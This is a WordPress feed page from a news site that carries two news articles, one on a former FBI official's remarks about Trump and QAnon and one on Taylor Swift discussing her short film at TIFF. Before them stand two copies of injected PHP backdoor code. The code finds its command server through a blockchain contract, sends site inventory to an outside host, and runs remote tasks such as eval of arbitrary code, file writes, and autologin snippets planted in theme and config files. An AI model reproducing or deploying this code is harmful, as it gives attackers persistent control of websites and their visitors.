// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); director – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 20 Sep 2022 07:25:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png director – Brief News https://briefnews.eu 32 32 Former FBI assistant director says Trump is getting ‘increasingly cornered’ and that his embrace of QAnon is the ‘last act of a desperate man’ https://briefnews.eu/former-fbi-assistant-director-says-trump-is-getting-increasingly-cornered-and-that-his-embrace-of-qanon-is-the-last-act-of-a-desperate-man/ https://briefnews.eu/former-fbi-assistant-director-says-trump-is-getting-increasingly-cornered-and-that-his-embrace-of-qanon-is-the-last-act-of-a-desperate-man/#respond Tue, 20 Sep 2022 07:25:59 +0000 https://briefnews.eu/former-fbi-assistant-director-says-trump-is-getting-increasingly-cornered-and-that-his-embrace-of-qanon-is-the-last-act-of-a-desperate-man/ Donald Trump
Donald Trump.

Kyle Mazza/Anadolu Agency via Getty Images

  • Former FBI official Frank Figliuzzi said Trump is drawn to QAnon like a moth to a flame.
  • Figliuzzi said Trump is embracing the movement because he feels "increasingly cornered."
  • Figliuzzi warned that violence could ensue if the QAnon movement felt threats to its leader.

A former FBI official said former President Donald Trump is likely feeling cornered and embracing the QAnon movement out of desperation.

Frank Figliuzzi, a former FBI assistant director, was weighing in on Trump's links to the QAnon movement during a Monday appearance on MSNBC's "Deadline: White House." Host Nicolle Wallace asked Figliuzzi if he thinks Trump knows just how dangerous the movement is to the US.

"Oh, not only do I think he knows it, but I think that's what attracts him to this. It's like a moth to the flame," Figliuzzi said.

"And the thing is, he knows that he's increasingly cornered," Figliuzzi added. "He's in trouble on so many legal fronts, even criminal fronts now, that this is, kind of, the almost last act of a desperate man."

Figliuzzi referenced Trump's rally in Youngstown, Ohio, where a QAnon song played during Trump's speech. During the rally, Trump's supporters were seen pointing their fingers to the sky in a strange, one-finger salute, which experts say might have been a nod to the movement's slogan, "where we go one we go all."

While the stadium in Ohio was not fully filled, and thus a sign that Trump may be losing support from his base, Figliuzzi said there's still a significant threat from Trump and the QAnon movement.

"What is extremely dangerous based on past histories of cults, is that as they come near the end, as the leader is threatened, they get more and more dangerous," Figliuzzi said. "And they do something cult experts call 'forcing the end.'"

This could happen if the movement's leader "calls for the violence" or is "taken out," Figliuzzi said.

"The members take a step up and force the ending — whatever that could be," Figliuzzi said. "That's what concerns me and we've learned from January 6, it only takes a small number of people to do that."

The Trump rally in Ohio is just one of many recent instances in which the former president appeared to embrace QAnon — a movement that claims without basis that Trump is fighting a deep-state cabal of pedophiles. In a stream of messages after the FBI's raid of Mar-a-Lago, Trump shared over a dozen posts on his Truth Social account, some of which referenced QAnon and contained baseless conspiracy theories about the FBI. Other posts by the former president on the Truth Social platform in September included a reposted image of himself sporting a "Q" lapel pin, along with the movement's "where we go one we go all" slogan.

Figliuzzi and a representative at Trump's post-presidential press office did not immediately respond to Insider's requests for comment.

Read the original article on Business Insider

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]]> https://briefnews.eu/former-fbi-assistant-director-says-trump-is-getting-increasingly-cornered-and-that-his-embrace-of-qanon-is-the-last-act-of-a-desperate-man/feed/ 0 Taylor Swift on making All Too Well, her favorite movies, and her future as a director https://briefnews.eu/taylor-swift-on-making-all-too-well-her-favorite-movies-and-her-future-as-a-director/ https://briefnews.eu/taylor-swift-on-making-all-too-well-her-favorite-movies-and-her-future-as-a-director/#respond Thu, 15 Sep 2022 01:35:23 +0000 https://briefnews.eu/taylor-swift-on-making-all-too-well-her-favorite-movies-and-her-future-as-a-director/ Known as the premier populist fall film festival, the Toronto International Film Festival (TIFF) is home to a yearly assortment of the best and biggest films of the season. Large crowd-pleasers like Netflix’s Glass Onion: A Knives Out Mystery, Oscar contenders like Steven Spielberg’s The Fabelmans, and more arrive to premiere and build buzz leading up to their releases. However, this year, the hottest name at the festival is not one typically associated with the filmmaking scene.

Bringing along her musical short film All Too Well, Taylor Swift arrived at the festival (alongside Stranger Things star Sadie Sink) for a special 35mm screening and conversation with TIFF CEO Cameron Bailey. With Digital Trends attending the event in full, here’s our complete recap of TIFF’s In Conversation with Taylor Swift.

Early movie aspirations (and inspirations)

After the film’s screening ends with much applause, Swift commences the conversation by delving into the shift in her creative process from pop icon to short film director and the motivation behind that shift. A highly successful musical artist who released her first album at 16, Swift recounts that even from the conceptualization stage of her music, she would “immediately start thinking” about visual components for her shows and music videos.

Early in her career, she would reach out to directors and, after telling them her rough idea, would leave the rest of the creative process to them. Yet she soon found that “the more responsibility [she] took on creatively, the happier [she] was.” 

Despite never going to film school, she credits her spark of wanting to be a director to her time on music video sets. Constantly asked her thoughts on the costumes, lighting, shots, and more, she began interrogating the “why” behind her personal preferences. Soon jumping to writing treatments for her videos, she slowly became more and more creatively involved until she co-directed her first video.

Taylor Swift – The Man (Official Video)

She considers that jump her film school, as she learned to write in-depth treatments, shot-listing, and more before directing her first solo music video, The Man (working with director of photography Rodrigo Prieto, Martin Scorsese’s go-to collaborator whose work will next be seen in Greta Gerwig’s Barbie). After building on her talents with the music videos for Cardigan and then Willow, she decided to take on a new challenge: directing her first short film.

Throughout the conversation, Swift showcases a wealth of cinematic knowledge that leaves the room full of press and industry members impressed. Before delving into discussing the production process for All Too Well, she touches upon her cinematic influences through the different creative eras that have marked every one of her album releases.

During the creation of her album 1989, for instance, she’d find herself watching John Hughes movies like Sixteen Candles and The Breakfast Club “over and over.” Yet, when the pandemic hit, Swift immersed herself further into the world of cinema. Calling Guillermo Del Toro’s The Shape of Water one of her “favorite films ever,” she dove into the rest of Del Toro’s work, watching Devil’s Backbone and Pan’s Labyrinth back-to-back as her “whole world turned into folk tales, forests, and mythical creatures.”

A woman and a creature tough glass in The Shape of Water

Also watching Alfred Hitchcock’s Rear Window and being taken by its “voyeuristic” perspective, Swift “experienced combining some of those cinematic inspirations and films that [she] loved” to “end up with an album that is [her] telling stories from other people’s perspectives in a folk tale.” She cites her three “cinematic culprits” for her recent inspirations: Del Toro, Hughes, and Hitchcock (while also mentioning Ang Lee and Sense and Sensibility, his 1995 film starring Emma Thompson and Kate Winslet, as a recent favorite). 

Swift doesn’t stop name-dropping there. After touching upon drawing references from films in music videos like The Man (which drew heavily from Scorsese’s The Wolf of Wall Street, a film Swift “loves” and “absolutely [adores] so much”), she focuses on her cinematic inspirations for All Too Well. The short comes from her obsession with a “period of time in the 1970s, where you started seeing these romantic films where two characters are so beautifully, intimately woven together and then they just unravel […] right in front of you, and you just can’t believe it.”

Citing projects such as The Way We Were, Love Story, and Kramer vs. Kramer alongside modern counterparts like Marriage Story (which left her upset “for months”) and even A24’s The Souvenir and The Souvenir: Part II, she mentions being drawn to works that “punch her in the stomach” while still “hitting those emotional touchstones.” When it comes to a specific director, she raves about the works of John Cassavetes. “I love how he allows despair and human emotion to just breathe and play out,” she says of the acclaimed independent filmmaker. “You see the loose ends, you feel like you’re really in that house with that fight going on, and it’s just harrowing.” This was the feeling she sought to recapture in All Too Well.

The making of All Too Well

With a wealth of music videos under her belt, what led Swift to choose this track as the basis for her first short film? “The reason I wanted to make a short film and not a music video for this song,” she says, “is because I’ve been fascinated with the dynamic of the age of the character that Sadie [Sink] is playing and what a precarious age that is.” She says it’s an age where “you could fit back at your family home, but you sort of don’t. You could fit in an adult’s cultivated apartment, […] but you kind of don’t. You [could] fit everywhere, but you fit nowhere, and I think that plays into a little bit of where she’s coming from.” 

For All Too Well, one of her first major creative decisions was to shoot it with a 1.33 aspect ratio and on 35mm film, a rarity for musical artists. These bold creative choices were the product of a “beautifully collaborative process” with “people [she] trusts.” After bringing on director of photography Rina Yang early in the process, she showed Yang her “endless mood boards, references and what I was looking for in terms of lighting, color, and texture.” Soon, “it was pretty apparent that we both wanted to shoot on 35 millimeter.”

Even though Swift didn’t know how to tackle that approach, Yang did. After recommending “shooting interiors on Vision3 500T stock and exteriors on Ektachrome” (the same brand of film recently used on productions like Euphoria and Best Picture winner Argo), Swift took her advice and began seeking out the rest of her collaborative team to bring the short to life. 

Sadie Sink lays on the bed in All Too Well.

Because the short film’s limited length didn’t give them much time to explore the two characters’ identities to a deeper extent, Swift, Yang, and production designer Ethan Tobman made “technical, subtle decisions” for the lighting and set design to flesh their identities out in a more subdued way. Swift says that a prime example of this is seen in the apartments of Sink’s and Dylan O’Brien’s characters.

Taking inspiration from how the apartment of Barbra Streisand’s character in The Way We Were shows “who she is,” Swift wanted Sink’s apartment to “be her” and “look like who she is,” in contrast to O’Brien’s “minimalist, mature, sophisticated, and dark” space, to show their true selves through the set design. “Sometimes audiences pick that up consciously,” she says, but when “they’re absorbing it, [ and] don’t even know that they understand more about the character by watching their environment, that’s the dream.” 

When it came to the rest of the technical direction, two significant points Swift focused on were the lighting and capturing an atmosphere driven by naturalism. Swift says, “she wanted this short film to feel like autumn … not the entire time you’re watching it, but in your memory.” For the blissful, honeymoon-like moments of falling in love, she pushed for warmer tones, while periods of “despair and reeling” were marked by cooler tones.

